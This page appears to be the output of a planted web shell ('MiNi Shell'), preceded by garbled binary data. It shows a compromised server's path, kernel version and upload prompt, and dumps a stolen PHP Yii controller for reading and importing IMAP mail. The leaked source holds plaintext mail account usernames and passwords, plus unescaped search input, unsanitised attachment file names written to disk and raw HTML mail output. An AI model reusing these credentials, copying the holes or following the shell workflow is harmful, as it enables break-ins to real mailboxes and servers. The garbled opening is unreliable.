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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/controllers/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/backend/controllers/ArticlesmailboxesController.php

<?php

namespace backend\controllers;

use Yii;
use yii\helpers\ArrayHelper;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\web\ForbiddenHttpException;

class ArticlesmailboxesController extends Controller
{
    use \backend\components\traits\ControllerFunctions;
    
    public function actionIndex()
    {
//        ini_set('xdebug.var_display_max_depth', 10);
        
        $idPortal = (int)Yii::$app->request->get('id_portal');
        
        if(Yii::$app->user->can('indexAllMailboxes')) {
            $portalsList = \yii\helpers\ArrayHelper::map(\common\models\Portals::find()->select(['id_portal', 'domain'])->where(['status' => \common\models\types\Status::ACTIVE])->orderBy('domain')->asArray()->all(), 'id_portal', 'domain');
        } elseif(empty($idPortal) && Yii::$app->user->can('indexArticlesMailboxes')) {
            $portalsList = [];
        } else {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }      
                
        $mailbox = $this->getMailbox($idPortal); 
        if(!$mailbox) {            
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['index']);
        }
        
        list($folders, $breadcrumbsForSelectedFolder) = $this->getFolders($mailbox);
        
        $mailboxInfo = imap_mailboxmsginfo($mailbox);
        
        $numberOfMails = $mailboxInfo->Nmsgs;
        $perPage = 20;
        $page = intval(Yii::$app->request->get('page', 1));
        if($page < 1) {
            $page = 1;
        }
        
        $searchResults = null;
        $searchPhrase = Yii::$app->request->get('search_phrase', null);
        if($searchPhrase) {
            $searchResults = imap_search($mailbox, 'SUBJECT "'.$searchPhrase.'"'); 
            if(!empty($searchResults)) {
                $searchResults = array_reverse($searchResults);
                $numberOfMails = count($searchResults);
                if($page > ceil($numberOfMails / $perPage)) {
                    $page = ceil($numberOfMails / $perPage);
                }                
                $searchResults = array_slice($searchResults, ($page - 1) * $perPage, $perPage);       
                $mails = imap_fetch_overview($mailbox, implode(',', $searchResults)); 
            } else {
                $numberOfMails = 0;
                $mails = [];
            }
        } else {
            if($page > ceil($numberOfMails / $perPage)) {
                $page = ceil($numberOfMails / $perPage);
            }
            
            $start = $numberOfMails - (($page - 1) * $perPage);
            $end = ($start - $perPage + 1) > 1 ? $start - $perPage + 1 : 1;
        
            $mails = imap_fetch_overview($mailbox, $start.':'.$end);        
            $mails = array_reverse($mails);
        }
        
        
        $output = [];        
        foreach($mails as $key => $mail) {
//            echo '#'.$mail->uid.': '.iconv_mime_decode($mail->subject, ICONV_MIME_DECODE_CONTINUE_ON_ERROR, 'UTF-8').' ('.date('Y-m-d, H:i:s', $mail->udate).')'."<br>";
            $attachments = [];
            $mailStructure = imap_fetchstructure($mailbox, $mail->uid, FT_UID);
            if(!empty($mailStructure->parts)) {
                foreach ($mailStructure->parts as $numberOfPart => $mailPart) {
                    $this->getAttachmentsFromMail($mailbox, $mail->uid, $mailPart, $numberOfPart + 1, $attachments, true, true);
                }
            }
            
            $output[] = [
                'no' => (($page - 1) * $perPage) + 1 + $key,
                'id' => $mail->uid, 
                'subject' => iconv_mime_decode($mail->subject, ICONV_MIME_DECODE_CONTINUE_ON_ERROR, 'UTF-8'),
                'from' => iconv_mime_decode($mail->from, ICONV_MIME_DECODE_CONTINUE_ON_ERROR, 'UTF-8'),
                'datetime' => date('Y-m-d, H:i:s', $mail->udate),
                'attachments' => array_values($attachments)
            ];
        }
        
        imap_close($mailbox);
        
        $pagination = new \yii\data\Pagination([
            'defaultPageSize' => $perPage, 
            'totalCount' => $numberOfMails
        ]);
        
        return $this->render('index', [
            'portalsList' => $portalsList,
//            'numberOfUnreadMails' => $mailboxInfo->Unread,
            'numberOfMails' => $mailboxInfo->Nmsgs,
            'mails' => $output,
            'pagination' => $pagination,
            'folders' => $folders,
            'breadcrumbsForSelectedFolder' => $breadcrumbsForSelectedFolder
        ]);
    }
    
    public function actionMoveMail()
    {
        if(!Yii::$app->request->getIsPost()) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $uid = (int)Yii::$app->request->post('uid');
        $idPortal = (int)Yii::$app->request->post('id_portal'); 
        $sourceFolder = Yii::$app->request->post('source_folder');
        $targetFolder = Yii::$app->request->post('target_folder');
                
        if(empty($uid) || empty($sourceFolder) || empty($targetFolder)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['index']);
        }        
        
        if((!empty($idPortal) && !Yii::$app->user->can('indexAllMailboxes')) || !Yii::$app->user->can('indexArticlesMailboxes')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $mailbox = $this->getMailbox($idPortal, $sourceFolder);
        if(!$mailbox) {
            imap_close($mailbox);
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['index']);
        }
        
        $mailboxInfo = imap_check($mailbox);
        if(!$mailboxInfo) {
            imap_close($mailbox);
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['index']);
        }
        
        $targetFolder = mb_convert_encoding($targetFolder, "UTF7-IMAP", "UTF-8");   
        $mailboxName = substr($mailboxInfo->Mailbox, 0, strpos($mailboxInfo->Mailbox, '}') + 1);
        
        $flag = imap_mail_move($mailbox, $uid, $targetFolder, CP_UID);
        if($flag) {
            imap_expunge($mailbox);
            imap_close($mailbox);
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie wykonano zadanie.'));
            return $this->redirect(['index', 'id_portal' => !empty($idPortal) ? $idPortal : null, 'folder' => $sourceFolder]);
        } else {
            imap_close($mailbox);
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
            return $this->redirect(['index']);
        }
    }
    
    public function actionDeleteMail()
    {
        $uid = (int)Yii::$app->request->get('id_message');
        if (empty($uid)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['index']);
        } 

        $idPortal = (int)Yii::$app->request->get('id_portal');
        
        if((!empty($idPortal) && !Yii::$app->user->can('indexAllMailboxes')) || !Yii::$app->user->can('indexArticlesMailboxes')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }

        $mailbox = $this->getMailbox($idPortal);
        if(!$mailbox) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['index']);
        }
        
        imap_delete($mailbox, $uid, FT_UID);
        imap_expunge($mailbox);
        imap_close($mailbox);
        
        Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.'));
        
        return $this->redirect(['index', 'id_message' => $uid, 'id_portal' => !empty($idPortal) ? $idPortal : null, 'folder' => Yii::$app->request->get('folder', 'INBOX')]);
    }
    
    public function actionImportArticleFromAttachment()
    {
//        $uid = (int)Yii::$app->request->get('id_message');
//        $idPortal = (int)Yii::$app->request->get('id_portal');
//        $filename = Yii::$app->request->get('filename');
//        
//        if (empty($uid) || empty($filename)) {
//            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
//            return $this->redirect(['index']);
//        }
//        
//        $mailbox = $this->getMailbox($idPortal);
//        if(!$mailbox) {
//            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
//            return $this->redirect(['index']);
//        }
//        
//        $mailStructure = imap_fetchstructure($mailbox, $uid, FT_UID);
//        var_dump($mailStructure);
//        exit;
//
//        $attachments = [];
//        if (!$mailStructure->parts) {
//            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
//            return $this->redirect(['index']);
//        } 
//        
//        foreach ($mailStructure->parts as $numberOfPart => $mailPart) {
//            $this->getAttachmentsFromMail($mailbox, $uid, $mailPart, $numberOfPart + 1, $attachments);
//        }
//        
//        if(empty($attachments)) {
//            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
//            return $this->redirect(['index']);
//        }
//        
//        imap_close($mailbox);
//        
//        $filePath = Yii::getAlias('@runtime/temp/'.key($attachments));
//        file_put_contents($filePath, current($attachments));        
//        
//        //tylko po to, aby przeszła walidacja
//        $_FILES = [
//            'temp_file' => [
//                'name' => basename($filePath),
//                'type' => mime_content_type($filePath),//'image/'.$fileInfo['extension'],
//                'size' => filesize($filePath),
//                'tmp_name' => $filePath,
//                'error' => 0
//            ]
//        ];
//            
//        $modelForm = new \backend\models\UploadArticleDocFileForm();
//        $modelForm->file = \yii\web\UploadedFile::getInstanceByName('temp_file');
//        
//        if(!$modelForm->validate()) {
//            @unlink($filePath);
//            Yii::$app->session->addFlash('error', $modelForm->getErrors());
//            return $this->redirect(['index']);
//        }
//
//        $dirName = $modelForm->save(); 
//        
//        @unlink($filePath);
//        
//        if($dirName) {
//            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
//            return $this->redirect(['articles/import-from-doc-file', 'uuid' => $dirName]);
//        } else {
//            Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.')); 
//            return $this->redirect(['index']);
//        }
//        
//        exit;
        
        $idPortal = (int)Yii::$app->request->get('id_portal');        
        if(!Yii::$app->user->can('modifyArticles') || ((!empty($idPortal) && !Yii::$app->user->can('indexAllMailboxes')) || !Yii::$app->user->can('indexArticlesMailboxes'))) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $attachment = $this->getAttachment();
        if($attachment === false) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['index']);
        }

        $filePath = Yii::getAlias('@runtime/temp/'.$attachment['filename']);
        file_put_contents($filePath, $attachment['content']);        
        
        //tylko po to, aby przeszła walidacja
        $_FILES = [
            'temp_file' => [
                'name' => $attachment['filename'],
                'type' => $attachment['mime_type'],
                'size' => filesize($filePath),
                'tmp_name' => $filePath,
                'error' => 0
            ]
        ];
            
        $modelForm = new \backend\models\UploadArticleDocFileForm();
        $modelForm->file = \yii\web\UploadedFile::getInstanceByName('temp_file');
        
        if(!$modelForm->validate()) {
            @unlink($filePath);
            Yii::$app->session->addFlash('error', $modelForm->getErrors());
            return $this->redirect(['index']);
        }

        $dirName = $modelForm->save(); 
        
        @unlink($filePath);
        
        if($dirName) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
            return $this->redirect(['articles/import-from-doc-file', 'uuid' => $dirName]);
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.')); 
            return $this->redirect(['index']);
        }
    }
    
    public function actionGetAttachment()
    {
//        $uid = (int)Yii::$app->request->get('id_message');
//        $idPortal = (int)Yii::$app->request->get('id_portal');
//        $filename = Yii::$app->request->get('filename');
//        
//        if (empty($uid) || empty($filename)) {
//            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
//            return $this->redirect(['index']);
//        } 
//        
//        $mailbox = $this->getMailbox($idPortal);
//        if(!$mailbox) {
//            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
//            return $this->redirect(['index']);
//        }
//        
//        $mailStructure = imap_fetchstructure($mailbox, $uid, FT_UID);
//
//        $attachments = [];
//        if (!$mailStructure->parts) {
//            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
//            return $this->redirect(['index']);
//        } 
//        
//        foreach ($mailStructure->parts as $numberOfPart => $mailPart) {
//            $this->getAttachmentsFromMail($mailbox, $uid, $mailPart, $numberOfPart + 1, $attachments);
//        }
//        
//        if(empty($attachments) || empty($attachments[$filename])) {
//            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
//            return $this->redirect(['index']);
//        }
//        
//        $attachmentContent = $attachments[$filename];
//        unset($attachments[$filename]);
//        
//        $finfo = finfo_open();
//        $mimeType = finfo_buffer($finfo, $attachmentContent, FILEINFO_MIME_TYPE);
//        finfo_close($finfo);  
//        
//        $response = Yii::$app->getResponse();
//        $response->sendContentAsFile($attachmentContent, $filename, $mimeType);
//        $response->send();
        
        $idPortal = (int)Yii::$app->request->get('id_portal');        
        if((!empty($idPortal) && !Yii::$app->user->can('indexAllMailboxes')) || !Yii::$app->user->can('indexArticlesMailboxes')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $attachment = $this->getAttachment();
        if($attachment === false) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['index']);
        }
        
        $response = Yii::$app->getResponse();
        $response->sendContentAsFile($attachment['content'], $attachment['filename'], $attachment['mime_type']);
        $response->send();
    }
    
    public function actionShowMail()
    {
        $uid = (int)Yii::$app->request->get('id_message');
        $idPortal = (int)Yii::$app->request->get('id_portal');
        
//        if( !Yii::$app->user->can('indexAllMailboxes') && !(empty($idPortal) && Yii::$app->user->can('indexArticlesMailboxes')) ) {
//            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
//        }
        
        if((!empty($idPortal) && !Yii::$app->user->can('indexAllMailboxes')) || !Yii::$app->user->can('indexArticlesMailboxes')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $mailbox = $this->getMailbox($idPortal);
        $mailStructure = imap_fetchstructure($mailbox, $uid, FT_UID);
        $headers = imap_headerinfo($mailbox, imap_msgno($mailbox, $uid));
        
        $attachments = [];
        if(!empty($mailStructure->parts)) {
            foreach ($mailStructure->parts as $numberOfPart => $mailPart) {
                $this->getAttachmentsFromMail($mailbox, $uid, $mailPart, $numberOfPart + 1, $attachments, false, true);
            }
        }
        
        return $this->conditionalRender('preview', [
            'uid' => $uid,
            'headers' => [
                'subject' => iconv_mime_decode($headers->subject, ICONV_MIME_DECODE_CONTINUE_ON_ERROR, 'UTF-8'),
                'from' => iconv_mime_decode($headers->fromaddress, ICONV_MIME_DECODE_CONTINUE_ON_ERROR, 'UTF-8'),
                'datetime' => date('Y-m-d, H:i:s', $headers->udate),
                'reply_to' => !empty($headers->reply_toaddress) ? iconv_mime_decode($headers->reply_toaddress, ICONV_MIME_DECODE_CONTINUE_ON_ERROR, 'UTF-8') : null,
            ],
            'attachments' => $attachments
        ]);
    }
    
    public function actionShowBodyOfMail()
    {        
        $uid = (int)Yii::$app->request->get('id_message');
        $idPortal = (int)Yii::$app->request->get('id_portal');
        
//        if( !Yii::$app->user->can('indexAllMailboxes') && !(empty($idPortal) && Yii::$app->user->can('indexArticlesMailboxes')) ) {
//            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
//        }
        
        if((!empty($idPortal) && !Yii::$app->user->can('indexAllMailboxes')) || !Yii::$app->user->can('indexArticlesMailboxes')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $mailbox = $this->getMailbox($idPortal);
        $mailStructure = imap_fetchstructure($mailbox, $uid, FT_UID);
        
        $output = [
            'plain' => '',
            'html' => ''
        ];
        if (empty($mailStructure->parts)) {
            $this->getBodyPart($mailbox, $uid, $mailStructure, null, $output);
        } else {
            foreach ($mailStructure->parts as $numberOfPart => $mailPart) {
                $this->getBodyPart($mailbox, $uid, $mailPart, $numberOfPart + 1, $output);
            } 
        } 
        
        Yii::$app->response->format = \yii\web\Response::FORMAT_HTML;
        return !empty($output['html']) ? $output['html'] : $output['plain'];
    }
    
    public function actionTestMail()
    {
        $uid = (int)Yii::$app->request->get('id_message');
        $idPortal = (int)Yii::$app->request->get('id_portal');
        
        if(!Yii::$app->user->can('modifyArticles') || ((!empty($idPortal) && !Yii::$app->user->can('indexAllMailboxes')) || !Yii::$app->user->can('indexArticlesMailboxes'))) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $mailbox = $this->getMailbox($idPortal);
        $mailStructure = imap_fetchstructure($mailbox, $uid, FT_UID);
        
//        var_dump($mailStructure);
        
        
        $attachments = [];
        if(!empty($mailStructure->parts)) {
            foreach ($mailStructure->parts as $numberOfPart => $mailPart) {
                $this->getAttachmentsFromMail($mailbox, $uid, $mailPart, $numberOfPart + 1, $attachments, false, true);
            }
        }
        var_dump($attachments);
        exit;
    }
    
    protected function getBodyPart($mailbox, $uid, $mailPart, $numberOfPart, &$output) 
    {

        $content = $numberOfPart ? imap_fetchbody($mailbox, $uid, $numberOfPart, FT_UID | FT_PEEK) : imap_body($mailbox, $uid, FT_UID | FT_PEEK);

        if ($mailPart->encoding === 4) {
            $content = quoted_printable_decode($content);
        } elseif ($mailPart->encoding === 3) {
            $content = base64_decode($content);
        }
        
        if ($mailPart->type === 0 && !empty($content)) {
            if (strtolower($mailPart->subtype) === 'plain') {
                $output['plain'] .= trim($content)."\n\n";
            } else {
                $output['html'] .= $content.'<br><br>';
            }
        } elseif ($mailPart->type==2 && !empty($content)) {
            $output['plain'] .= $content."\n\n";

        }

        if (!empty($mailPart->parts)) {
            foreach ($mailPart->parts as $numberOfSubPart => $mailSubPart) {
                $this->getBodyPart($mailbox, $uid, $mailSubPart, $numberOfPart.'.'.($numberOfSubPart+1), $output);  
            }
        }

    }
    
    protected function getAttachment()
    {
        $uid = (int)Yii::$app->request->get('id_message');
        $idPortal = (int)Yii::$app->request->get('id_portal');
        $filename = Yii::$app->request->get('filename');
        
        if (empty($uid) || empty($filename)) {
            return false;
        } 
        
        $mailbox = $this->getMailbox($idPortal);
        if(!$mailbox) {
            return false;
        }
        
        $mailStructure = imap_fetchstructure($mailbox, $uid, FT_UID);

        $attachments = [];
        if (!$mailStructure->parts) {
            imap_close($mailbox);
            return false;
        } 
        
        foreach ($mailStructure->parts as $numberOfPart => $mailPart) {
            $this->getAttachmentsFromMail($mailbox, $uid, $mailPart, $numberOfPart + 1, $attachments, false);
        }
        
        imap_close($mailbox);
        
        if(empty($attachments) || empty($attachments[$filename])) {
            return false;
        }
        
        $attachmentContent = $attachments[$filename];
        unset($attachments);
        
        $finfo = finfo_open();
        $mimeType = finfo_buffer($finfo, $attachmentContent, FILEINFO_MIME_TYPE);
        finfo_close($finfo);  
        
        return [
            'filename' => $filename,
            'content' => $attachmentContent,
            'mime_type' => $mimeType
        ];
    }
    
    protected function getMailbox($idPortal = null, $folder = null)
    {        
        //        ini_set('xdebug.var_display_max_depth', 10);
        //        $mailbox = imap_open("{imap.wp.pl:993/imap/notls/ssl}INBOX", 'darks86_test@wp.pl', 'pol858307');        
                
        
        if(empty($folder)) {
            $folder = Yii::$app->request->get('folder', 'INBOX');
        }        
        $folder = mb_convert_encoding($folder, "UTF7-IMAP", "UTF-8");
        
        //@todo proteza
//        $mailbox = imap_open("{imap.wp.pl:993/imap/notls/ssl}".$folder, 'darks86_test@wp.pl', 'pol858307');        
//        return $mailbox;        
//        $mailboxConfig = [
//            'host' => 'mail.vertica.pl',
//            'username' => 'artykuly@vertica.pl',
//            'password' => 'Ize5oseev',
//            'port' => 993,
//            'flags' => '/imap/ssl/novalidate-cert',
//        ];        
//        $mailbox = imap_open("{".$mailboxConfig['host'].":".$mailboxConfig['port'].$mailboxConfig['flags']."}".$folder, $mailboxConfig['username'], $mailboxConfig['password']);
//        return $mailbox;
        
        if(empty($idPortal)) {
            $mailboxConfig = Yii::$app->params['articlesMailbox'];        
            return @imap_open("{".$mailboxConfig['host'].":".$mailboxConfig['port'].$mailboxConfig['flags']."}".$folder, $mailboxConfig['username'], $mailboxConfig['password']);
        }
        
        $modelPortal = \common\models\Portals::findOne($idPortal);
        if(empty($modelPortal)) {
            return null;
        }        
        
        $smtpSettings = $modelPortal->getSettingsKey('smtp_settings');
        if(empty($smtpSettings)) {
            return null;
        }
            
        return @imap_open("{".$smtpSettings['host'].':993/imap/ssl/novalidate-cert'."}".$folder, $smtpSettings['username'], $smtpSettings['password']);
    }
    
    protected function getFolders($mailbox)
    {
        $mailboxInfo = imap_check($mailbox);
        if(!$mailboxInfo) {
            return false;
        }
        
        $selectedFolder = Yii::$app->request->get('folder', 'INBOX');
        $breadcrumbsForSelectedFolder = [];
        
        $mailboxName = substr($mailboxInfo->Mailbox, 0, strpos($mailboxInfo->Mailbox, '}') + 1);
        
        $boxes = imap_getmailboxes($mailbox, $mailboxName, "*");
        
        $folders = [];
        foreach($boxes as $boxKey => $value) {
            $folderName = mb_convert_encoding($value->name, "UTF-8", "UTF7-IMAP");
            $folderName = substr($folderName, strpos($folderName, "}") + 1);
            
            $arrayPath = '';
            $parts = explode($value->delimiter, $folderName);
            foreach($parts as $partKey => $part) {
                $arrayPath .= $part;
                if(($partKey + 1) !== count($parts)) {
                    $arrayPath .= '.children.';
                } 
            }
            
            $children = \yii\helpers\ArrayHelper::getValue($folders, $arrayPath.'.children');
                
            $folderValue = [
//                'id' => sha1($folderName),
                'name' => ltrim(substr($folderName, strrpos($folderName, $value->delimiter)), $value->delimiter),
                'path' => $folderName,
                'delimiter' => $value->delimiter,                
                'orCanOpen' => !(($value->attributes & LATT_NOSELECT) === LATT_NOSELECT),
                'children' => !empty($children) ? $children : [],
            ];
            
            \yii\helpers\ArrayHelper::setValue($folders, $arrayPath, $folderValue);
            
            if($folderName === $selectedFolder) {
                $path = '';
                foreach(explode($value->delimiter, $folderName) as $tempKey => $partName) {
                    if($tempKey !== 0) {
                        $path .= $value->delimiter;
                    }
                    $path .= $partName;
                    $breadcrumbsForSelectedFolder[] = [
                        'name' => $partName,
                        'path' => $path
                    ];
                }
            }
        }
        
        unset($boxes);
        
        $this->sortFolders($folders);
        
        foreach($folders as $key => $folder) {
            if($folder['path'] === 'INBOX') {
                unset($folders[$key]);
                array_unshift($folders, $folder);
                break;
            }
        }        
        
        return [$folders, $breadcrumbsForSelectedFolder];
    }
    
    protected function sortFolders(&$folders) 
    {
        if(empty($folders)) {
            return;
        }
        
        usort($folders, function($a, $b) {
            return strcasecmp($a["name"], $b["name"]);
        });
        
        foreach($folders as &$folder) {
            if(empty($folder['children'])) {
                continue;
            }
            $this->sortFolders($folder['children']);
        }
        
    }
    
    protected function renderCategory($category)
    {
        $output = '';
        
        $output .= '<li>';
        if(!empty($category['children'])) {
            $output .= '<a href="#" class="plus"></a>';
        }

        if($category['orCanOpen']) {
            $output .= '<a href="'.\yii\helpers\Url::current(['mailbox' => $category['path'], 'page' => null]).'">'.$category['name'].'</a>';
        } else {
            $output .= '<span>'.$category['name'].'</span>';
        }
        
        $output .= '</li>';

        if(!empty($category['children'])) {
            $output .= '<ul>';
            foreach($category['children'] as $subcategory) {                        
                $output .= $this->renderCategory($subcategory);                        
            }
            $output .= '</ul>';
        }

        return $output;
    }
    
    protected function getAttachmentsFromMail($mailbox, $uid, $mailPart, $numberOfPart, &$attachments, $onlyDocFiles = true, $onlyFilenames = false) 
    {
        if ($mailPart->type === 3 || $mailPart->type === 8 || $mailPart->type === 5 || $mailPart->type === 6) {
            $params = [];
            if (isset($mailPart->parameters) && $mailPart->parameters) {
                foreach ($mailPart->parameters as $x) {
                    $params[strtolower($x->attribute)] = iconv_mime_decode($x->value, ICONV_MIME_DECODE_CONTINUE_ON_ERROR, 'UTF-8');
                }
            }
            if (isset($mailPart->dparameters) && $mailPart->dparameters) {
                foreach ($mailPart->dparameters as $x) {                    
                    $params[strtolower($x->attribute)] = iconv_mime_decode($x->value, ICONV_MIME_DECODE_CONTINUE_ON_ERROR, 'UTF-8');
                }
            }

            if (!empty($params['filename']) || !empty($params['name'])) {
                $filename = !empty($params['filename']) ? $params['filename'] : $params['name'];
                
                if(!$onlyDocFiles || in_array(strtolower(pathinfo($filename, PATHINFO_EXTENSION)), ['doc', 'docx', 'odt'])) {
                    if(!$onlyFilenames) {
                        $content = imap_fetchbody($mailbox, $uid, $numberOfPart, FT_UID | FT_PEEK);
                        if ($mailPart->encoding === 3) {
                            $content = base64_decode($content);
                        }
                        $attachments[$filename] = $content; 
                    } else {
                        $attachments[$filename] = $filename;
                    }
                }
            }
        }

        if (!empty($mailPart->parts)) {
            foreach ($mailPart->parts as $numberOfSubPart => $mailSubPart) {
                $this->getAttachmentsFromMail($mailbox, $uid, $mailSubPart, $numberOfPart.'.'.($numberOfSubPart+1), $attachments, $onlyDocFiles, $onlyFilenames);  
            }
        }

    }


    
    
    
    
    
    
    
    
    public function actionImportArticleFromAttachment_old($id)
    {
        exit;
        $uid = (int)$id;
        
//        $mailboxConfig = Yii::$app->params['articlesMailbox'];        
//        $mailbox = @imap_open("{".$mailboxConfig['host'].":".$mailboxConfig['port'].$mailboxConfig['flags']."}INBOX", $mailboxConfig['username'], $mailboxConfig['password']);
        
        //@todo proteza
        $mailbox = imap_open("{imap.wp.pl:993/imap/notls/ssl}INBOX", 'darks86_test@wp.pl', 'pol858307');
        
        $mailStructure = imap_fetchstructure($mailbox, $uid, FT_UID);
        var_dump($mailStructure);
        exit;

        $output = [
            'plain' => '',
            'html' => '',
            'attachments' => []
        ];
        if (!$mailStructure->parts) {
            $this->getPart($mailbox, $uid, $mailStructure, null, $output);  // pass 0 as part-number
        } else {
            foreach ($mailStructure->parts as $numberOfPart => $mailPart) {
                $this->getPart($mailbox, $uid, $mailPart, $numberOfPart + 1, $output);
            } 
        }    
        
        if(empty($output['attachments'])) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['index']);
        }
        
        imap_close($mailbox);
        
        $filePath = Yii::getAlias('@runtime/temp/'.key($output['attachments']));
        file_put_contents($filePath, current($output['attachments']));        
        
        //tylko po to, aby przeszła walidacja
        $_FILES = [
            'temp_file' => [
                'name' => basename($filePath),
                'type' => mime_content_type($filePath),//'image/'.$fileInfo['extension'],
                'size' => filesize($filePath),
                'tmp_name' => $filePath,
                'error' => 0
            ]
        ];
            
        $modelForm = new \backend\models\UploadArticleDocFileForm();
        $modelForm->file = \yii\web\UploadedFile::getInstanceByName('temp_file');
        
        if(!$modelForm->validate()) {
            @unlink($filePath);
            Yii::$app->session->addFlash('error', $modelForm->getErrors());
            return $this->redirect(['index']);
        }

        $dirName = $modelForm->save(); 
        
        @unlink($filePath);
        
        if($dirName) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
            return $this->redirect(['articles/import-from-doc-file', 'uuid' => $dirName]);
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.')); 
            return $this->redirect(['index']);
        }
        
        exit;
    }

    protected function getPart($mailbox, $uid, $mailPart, $numberOfPart, &$output) 
    {

        $content = $numberOfPart ? imap_fetchbody($mailbox, $uid, $numberOfPart, FT_UID | FT_PEEK) : imap_body($mailbox, $uid, FT_UID | FT_PEEK);

        if ($mailPart->encoding === 4) {
            $content = quoted_printable_decode($content);
        } elseif ($mailPart->encoding === 3) {
            $content = base64_decode($content);
        }

        $params = [];
        if (isset($mailPart->parameters) && $mailPart->parameters) {
            foreach ($mailPart->parameters as $x) {
                $params[strtolower($x->attribute)] = $x->value;
            }
        }
        if (isset($mailPart->dparameters) && $mailPart->dparameters) {
            foreach ($mailPart->dparameters as $x) {
                $params[strtolower($x->attribute)] = $x->value;
            }
        }

        if (!empty($params['filename']) || !empty($params['name'])) {
            $filename = !empty($params['filename']) ? $params['filename'] : $params['name'];
            $output['attachments'][$filename] = $content;  
        }

        if ($mailPart->type === 0 && !empty($content)) {
            if (strtolower($mailPart->subtype) === 'plain') {
                $output['plain'] .= trim($content)."\n\n";
            } else {
                $output['html'] .= $content.'<br><br>';
            }
        } elseif ($mailPart->type==2 && !empty($content)) {
            $output['plain'] .= $content."\n\n";

        }

